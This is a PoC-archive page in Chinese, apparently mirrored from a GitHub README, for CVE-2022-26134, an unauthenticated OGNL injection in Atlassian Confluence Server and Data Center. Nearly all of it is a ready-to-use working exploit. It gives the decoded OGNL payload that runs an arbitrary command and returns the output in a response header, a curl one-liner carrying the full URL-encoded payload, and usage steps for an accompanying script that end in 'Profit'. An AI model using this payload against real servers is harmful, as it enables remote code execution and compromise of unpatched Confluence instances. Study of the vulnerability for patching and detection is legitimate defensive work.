POC详情: 0e44987521dc87a27fa98f8c137f7f298c682d2f

来源
关联漏洞
标题: Atlassian Confluence Server 注入漏洞 (CVE-2022-26134)
描述:Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能,并支持用于构建企业WiKi的协同软件的服务器版本。 Atlassian Confluence Server 和 Data Center 存在注入漏洞。攻击者利用该漏洞执行任意代码。以下产品及版本受到影响:1.3.0版本至7.4.17之前版本、7.13.0版本至7.13.7之前版本、7.14.0版本至7.14.3之前版本、7.15.0版本至 7.15.2之前版本、7.16.0版本至7.16.4之
描述
CVE-2022-26134 Confluence OGNL Injection POC
介绍
# CVE-2022-26134 POC

## Description
```
In affected versions of Confluence Server and Data Center, 
an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code 
on a Confluence Server or Data Center instance.
```
## POC
1. Run ```python3 confluence.py -u http://127.0.0.1 -c whoami```
2. Profit

## The Payload
URL-Decoded payload:
```
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("COMMAND").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
```
This executes the command on the target server and sends the output back inside the ```X-Cmd-Response``` header.

You could also use **curl**:
```
curl -kI "http://127.0.0.1/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
```

## References
* https://www.cvedetails.com/cve/CVE-2022-26134 (not rated)
* https://jira.atlassian.com/browse/CONFSERVER-79016
* https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
文件快照

[4.0K] /data/pocs/0e44987521dc87a27fa98f8c137f7f298c682d2f ├── [1.0K] confluence.py └── [1.3K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。